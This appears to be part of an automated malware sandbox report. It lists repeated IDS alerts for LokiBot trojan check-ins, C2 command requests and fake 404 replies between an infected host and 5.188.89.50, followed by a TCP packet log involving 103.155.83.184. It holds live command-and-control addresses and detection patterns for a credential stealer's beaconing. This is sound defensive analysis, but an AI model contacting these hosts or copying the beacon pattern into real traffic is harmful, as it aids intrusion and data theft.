09/28/21-06:51:42.375557	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49273	80	192.168.2.22	5.188.89.50
09/28/21-06:51:42.375557	TCP	2025381	ET TROJAN LokiBot Checkin	49273	80	192.168.2.22	5.188.89.50
09/28/21-06:51:42.375557	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49273	80	192.168.2.22	5.188.89.50
09/28/21-06:51:42.736668	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49273	5.188.89.50	192.168.2.22
09/28/21-06:51:42.995199	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49274	80	192.168.2.22	5.188.89.50
09/28/21-06:51:42.995199	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49274	80	192.168.2.22	5.188.89.50
09/28/21-06:51:42.995199	TCP	2025381	ET TROJAN LokiBot Checkin	49274	80	192.168.2.22	5.188.89.50
09/28/21-06:51:42.995199	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49274	80	192.168.2.22	5.188.89.50
09/28/21-06:51:43.355303	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49274	5.188.89.50	192.168.2.22
09/28/21-06:51:43.599920	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49275	80	192.168.2.22	5.188.89.50
09/28/21-06:51:43.599920	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49275	80	192.168.2.22	5.188.89.50
09/28/21-06:51:43.599920	TCP	2025381	ET TROJAN LokiBot Checkin	49275	80	192.168.2.22	5.188.89.50
09/28/21-06:51:43.599920	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49275	80	192.168.2.22	5.188.89.50
09/28/21-06:51:43.963711	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49275	5.188.89.50	192.168.2.22
09/28/21-06:51:44.227576	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49276	80	192.168.2.22	5.188.89.50
09/28/21-06:51:44.227576	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49276	80	192.168.2.22	5.188.89.50
09/28/21-06:51:44.227576	TCP	2025381	ET TROJAN LokiBot Checkin	49276	80	192.168.2.22	5.188.89.50
09/28/21-06:51:44.227576	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49276	80	192.168.2.22	5.188.89.50
09/28/21-06:51:44.594955	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49276	5.188.89.50	192.168.2.22
09/28/21-06:51:44.852769	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49277	80	192.168.2.22	5.188.89.50
09/28/21-06:51:44.852769	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49277	80	192.168.2.22	5.188.89.50
09/28/21-06:51:44.852769	TCP	2025381	ET TROJAN LokiBot Checkin	49277	80	192.168.2.22	5.188.89.50
09/28/21-06:51:44.852769	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49277	80	192.168.2.22	5.188.89.50
09/28/21-06:51:45.233310	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49277	5.188.89.50	192.168.2.22
09/28/21-06:51:45.497066	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49278	80	192.168.2.22	5.188.89.50
09/28/21-06:51:45.497066	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49278	80	192.168.2.22	5.188.89.50
09/28/21-06:51:45.497066	TCP	2025381	ET TROJAN LokiBot Checkin	49278	80	192.168.2.22	5.188.89.50
09/28/21-06:51:45.497066	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49278	80	192.168.2.22	5.188.89.50
09/28/21-06:51:45.847830	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49278	5.188.89.50	192.168.2.22
09/28/21-06:51:46.098823	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49279	80	192.168.2.22	5.188.89.50
09/28/21-06:51:46.098823	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49279	80	192.168.2.22	5.188.89.50
09/28/21-06:51:46.098823	TCP	2025381	ET TROJAN LokiBot Checkin	49279	80	192.168.2.22	5.188.89.50
09/28/21-06:51:46.098823	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49279	80	192.168.2.22	5.188.89.50
09/28/21-06:51:46.445577	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49279	5.188.89.50	192.168.2.22
09/28/21-06:51:46.731312	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49280	80	192.168.2.22	5.188.89.50
09/28/21-06:51:46.731312	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49280	80	192.168.2.22	5.188.89.50
09/28/21-06:51:46.731312	TCP	2025381	ET TROJAN LokiBot Checkin	49280	80	192.168.2.22	5.188.89.50
09/28/21-06:51:46.731312	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49280	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.075848	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49280	5.188.89.50	192.168.2.22
09/28/21-06:51:47.365121	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49281	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.365121	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49281	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.365121	TCP	2025381	ET TROJAN LokiBot Checkin	49281	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.365121	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49281	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.719933	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49281	5.188.89.50	192.168.2.22
09/28/21-06:51:47.981726	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49282	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.981726	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49282	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.981726	TCP	2025381	ET TROJAN LokiBot Checkin	49282	80	192.168.2.22	5.188.89.50
09/28/21-06:51:47.981726	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49282	80	192.168.2.22	5.188.89.50
09/28/21-06:51:48.346430	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49282	5.188.89.50	192.168.2.22
09/28/21-06:51:48.617827	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49283	80	192.168.2.22	5.188.89.50
09/28/21-06:51:48.617827	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49283	80	192.168.2.22	5.188.89.50
09/28/21-06:51:48.617827	TCP	2025381	ET TROJAN LokiBot Checkin	49283	80	192.168.2.22	5.188.89.50
09/28/21-06:51:48.617827	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49283	80	192.168.2.22	5.188.89.50
09/28/21-06:51:48.974655	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49283	5.188.89.50	192.168.2.22
09/28/21-06:51:49.261615	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49284	80	192.168.2.22	5.188.89.50
09/28/21-06:51:49.261615	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49284	80	192.168.2.22	5.188.89.50
09/28/21-06:51:49.261615	TCP	2025381	ET TROJAN LokiBot Checkin	49284	80	192.168.2.22	5.188.89.50
09/28/21-06:51:49.261615	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49284	80	192.168.2.22	5.188.89.50
09/28/21-06:51:49.615707	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49284	5.188.89.50	192.168.2.22
09/28/21-06:51:49.892301	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49285	80	192.168.2.22	5.188.89.50
09/28/21-06:51:49.892301	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49285	80	192.168.2.22	5.188.89.50
09/28/21-06:51:49.892301	TCP	2025381	ET TROJAN LokiBot Checkin	49285	80	192.168.2.22	5.188.89.50
09/28/21-06:51:49.892301	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49285	80	192.168.2.22	5.188.89.50
09/28/21-06:51:50.238603	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49285	5.188.89.50	192.168.2.22
09/28/21-06:51:50.514179	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49286	80	192.168.2.22	5.188.89.50
09/28/21-06:51:50.514179	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49286	80	192.168.2.22	5.188.89.50
09/28/21-06:51:50.514179	TCP	2025381	ET TROJAN LokiBot Checkin	49286	80	192.168.2.22	5.188.89.50
09/28/21-06:51:50.514179	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49286	80	192.168.2.22	5.188.89.50
09/28/21-06:51:50.888614	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49286	5.188.89.50	192.168.2.22
09/28/21-06:51:51.179561	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49287	80	192.168.2.22	5.188.89.50
09/28/21-06:51:51.179561	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49287	80	192.168.2.22	5.188.89.50
09/28/21-06:51:51.179561	TCP	2025381	ET TROJAN LokiBot Checkin	49287	80	192.168.2.22	5.188.89.50
09/28/21-06:51:51.179561	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49287	80	192.168.2.22	5.188.89.50
09/28/21-06:51:51.573348	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49287	5.188.89.50	192.168.2.22
09/28/21-06:51:51.856519	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49288	80	192.168.2.22	5.188.89.50
09/28/21-06:51:51.856519	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49288	80	192.168.2.22	5.188.89.50
09/28/21-06:51:51.856519	TCP	2025381	ET TROJAN LokiBot Checkin	49288	80	192.168.2.22	5.188.89.50
09/28/21-06:51:51.856519	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49288	80	192.168.2.22	5.188.89.50
09/28/21-06:51:52.219077	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49288	5.188.89.50	192.168.2.22
09/28/21-06:51:52.480075	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49289	80	192.168.2.22	5.188.89.50
09/28/21-06:51:52.480075	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49289	80	192.168.2.22	5.188.89.50
09/28/21-06:51:52.480075	TCP	2025381	ET TROJAN LokiBot Checkin	49289	80	192.168.2.22	5.188.89.50
09/28/21-06:51:52.480075	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49289	80	192.168.2.22	5.188.89.50
09/28/21-06:51:52.847076	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49289	5.188.89.50	192.168.2.22
09/28/21-06:51:53.107025	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49290	80	192.168.2.22	5.188.89.50
09/28/21-06:51:53.107025	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49290	80	192.168.2.22	5.188.89.50
09/28/21-06:51:53.107025	TCP	2025381	ET TROJAN LokiBot Checkin	49290	80	192.168.2.22	5.188.89.50
09/28/21-06:51:53.107025	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49290	80	192.168.2.22	5.188.89.50
09/28/21-06:51:53.463998	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49290	5.188.89.50	192.168.2.22
09/28/21-06:51:53.732530	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49291	80	192.168.2.22	5.188.89.50
09/28/21-06:51:53.732530	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49291	80	192.168.2.22	5.188.89.50
09/28/21-06:51:53.732530	TCP	2025381	ET TROJAN LokiBot Checkin	49291	80	192.168.2.22	5.188.89.50
09/28/21-06:51:53.732530	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49291	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.083511	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49291	5.188.89.50	192.168.2.22
09/28/21-06:51:54.342201	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49292	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.342201	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49292	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.342201	TCP	2025381	ET TROJAN LokiBot Checkin	49292	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.342201	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49292	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.702146	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49292	5.188.89.50	192.168.2.22
09/28/21-06:51:54.979605	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49293	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.979605	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49293	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.979605	TCP	2025381	ET TROJAN LokiBot Checkin	49293	80	192.168.2.22	5.188.89.50
09/28/21-06:51:54.979605	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49293	80	192.168.2.22	5.188.89.50
09/28/21-06:51:55.321450	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49293	5.188.89.50	192.168.2.22
09/28/21-06:51:55.578587	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49294	80	192.168.2.22	5.188.89.50
09/28/21-06:51:55.578587	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49294	80	192.168.2.22	5.188.89.50
09/28/21-06:51:55.578587	TCP	2025381	ET TROJAN LokiBot Checkin	49294	80	192.168.2.22	5.188.89.50
09/28/21-06:51:55.578587	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49294	80	192.168.2.22	5.188.89.50
09/28/21-06:51:55.942092	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49294	5.188.89.50	192.168.2.22
09/28/21-06:51:56.360419	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49295	80	192.168.2.22	5.188.89.50
09/28/21-06:51:56.360419	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49295	80	192.168.2.22	5.188.89.50
09/28/21-06:51:56.360419	TCP	2025381	ET TROJAN LokiBot Checkin	49295	80	192.168.2.22	5.188.89.50
09/28/21-06:51:56.360419	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49295	80	192.168.2.22	5.188.89.50
09/28/21-06:51:56.719525	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49295	5.188.89.50	192.168.2.22
09/28/21-06:51:57.142892	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49296	80	192.168.2.22	5.188.89.50
09/28/21-06:51:57.142892	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49296	80	192.168.2.22	5.188.89.50
09/28/21-06:51:57.142892	TCP	2025381	ET TROJAN LokiBot Checkin	49296	80	192.168.2.22	5.188.89.50
09/28/21-06:51:57.142892	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49296	80	192.168.2.22	5.188.89.50
09/28/21-06:51:57.491221	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49296	5.188.89.50	192.168.2.22
09/28/21-06:51:57.735770	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49297	80	192.168.2.22	5.188.89.50
09/28/21-06:51:57.735770	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49297	80	192.168.2.22	5.188.89.50
09/28/21-06:51:57.735770	TCP	2025381	ET TROJAN LokiBot Checkin	49297	80	192.168.2.22	5.188.89.50
09/28/21-06:51:57.735770	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49297	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.091069	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49297	5.188.89.50	192.168.2.22
09/28/21-06:51:58.357272	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49298	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.357272	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49298	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.357272	TCP	2025381	ET TROJAN LokiBot Checkin	49298	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.357272	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49298	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.714416	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49298	5.188.89.50	192.168.2.22
09/28/21-06:51:58.978533	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49299	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.978533	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49299	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.978533	TCP	2025381	ET TROJAN LokiBot Checkin	49299	80	192.168.2.22	5.188.89.50
09/28/21-06:51:58.978533	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49299	80	192.168.2.22	5.188.89.50
09/28/21-06:51:59.345117	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49299	5.188.89.50	192.168.2.22
09/28/21-06:51:59.614893	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49300	80	192.168.2.22	5.188.89.50
09/28/21-06:51:59.614893	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49300	80	192.168.2.22	5.188.89.50
09/28/21-06:51:59.614893	TCP	2025381	ET TROJAN LokiBot Checkin	49300	80	192.168.2.22	5.188.89.50
09/28/21-06:51:59.614893	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49300	80	192.168.2.22	5.188.89.50
09/28/21-06:51:59.962508	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49300	5.188.89.50	192.168.2.22
09/28/21-06:52:00.216200	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49301	80	192.168.2.22	5.188.89.50
09/28/21-06:52:00.216200	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49301	80	192.168.2.22	5.188.89.50
09/28/21-06:52:00.216200	TCP	2025381	ET TROJAN LokiBot Checkin	49301	80	192.168.2.22	5.188.89.50
09/28/21-06:52:00.216200	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49301	80	192.168.2.22	5.188.89.50
09/28/21-06:52:00.608646	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49301	5.188.89.50	192.168.2.22
09/28/21-06:52:00.868430	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49302	80	192.168.2.22	5.188.89.50
09/28/21-06:52:00.868430	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49302	80	192.168.2.22	5.188.89.50
09/28/21-06:52:00.868430	TCP	2025381	ET TROJAN LokiBot Checkin	49302	80	192.168.2.22	5.188.89.50
09/28/21-06:52:00.868430	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49302	80	192.168.2.22	5.188.89.50
09/28/21-06:52:01.292342	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49302	5.188.89.50	192.168.2.22
09/28/21-06:52:01.551020	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49303	80	192.168.2.22	5.188.89.50
09/28/21-06:52:01.551020	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49303	80	192.168.2.22	5.188.89.50
09/28/21-06:52:01.551020	TCP	2025381	ET TROJAN LokiBot Checkin	49303	80	192.168.2.22	5.188.89.50
09/28/21-06:52:01.551020	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49303	80	192.168.2.22	5.188.89.50
09/28/21-06:52:01.903731	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49303	5.188.89.50	192.168.2.22
09/28/21-06:52:02.176567	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49304	80	192.168.2.22	5.188.89.50
09/28/21-06:52:02.176567	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49304	80	192.168.2.22	5.188.89.50
09/28/21-06:52:02.176567	TCP	2025381	ET TROJAN LokiBot Checkin	49304	80	192.168.2.22	5.188.89.50
09/28/21-06:52:02.176567	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49304	80	192.168.2.22	5.188.89.50
09/28/21-06:52:02.597537	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49304	5.188.89.50	192.168.2.22
09/28/21-06:52:02.873690	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49305	80	192.168.2.22	5.188.89.50
09/28/21-06:52:02.873690	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49305	80	192.168.2.22	5.188.89.50
09/28/21-06:52:02.873690	TCP	2025381	ET TROJAN LokiBot Checkin	49305	80	192.168.2.22	5.188.89.50
09/28/21-06:52:02.873690	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49305	80	192.168.2.22	5.188.89.50
09/28/21-06:52:03.258859	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49305	5.188.89.50	192.168.2.22
09/28/21-06:52:03.533927	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49306	80	192.168.2.22	5.188.89.50
09/28/21-06:52:03.533927	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49306	80	192.168.2.22	5.188.89.50
09/28/21-06:52:03.533927	TCP	2025381	ET TROJAN LokiBot Checkin	49306	80	192.168.2.22	5.188.89.50
09/28/21-06:52:03.533927	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49306	80	192.168.2.22	5.188.89.50
09/28/21-06:52:03.883480	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49306	5.188.89.50	192.168.2.22
09/28/21-06:52:04.134812	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49307	80	192.168.2.22	5.188.89.50
09/28/21-06:52:04.134812	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49307	80	192.168.2.22	5.188.89.50
09/28/21-06:52:04.134812	TCP	2025381	ET TROJAN LokiBot Checkin	49307	80	192.168.2.22	5.188.89.50
09/28/21-06:52:04.134812	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49307	80	192.168.2.22	5.188.89.50
09/28/21-06:52:04.492880	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49307	5.188.89.50	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2021 06:50:21.045789003 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.338310003 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.338499069 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.338944912 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.629554033 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.629590034 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.629606009 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.629622936 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.629757881 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.629843950 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.919749022 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.919792891 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.919812918 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.919835091 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.919857025 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.920033932 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.920475960 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.920603037 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.920610905 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.920680046 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:21.920711040 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:21.920805931 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.209595919 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209626913 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209640980 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209656954 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209672928 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209683895 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209698915 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209711075 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209727049 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.209913015 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.211776018 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.211802006 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.211817026 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.211873055 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.211903095 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.211920023 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.211963892 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.211997986 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.212007046 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.212013006 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.212093115 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.498945951 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.498990059 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499027967 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499052048 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499072075 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499092102 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499129057 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.499178886 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499213934 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499219894 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.499233007 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499244928 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499260902 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499274015 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.499289036 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.499304056 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.499313116 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499330044 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.499353886 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.500693083 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.500734091 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.500750065 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.500763893 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.500773907 CEST	49165	80	192.168.2.22	103.155.83.184
Sep 28, 2021 06:50:22.500782013 CEST	80	49165	103.155.83.184	192.168.2.22
Sep 28, 2021 06:50:22.500790119 CEST	49165	80	192.168.2.22	103.155.83.184
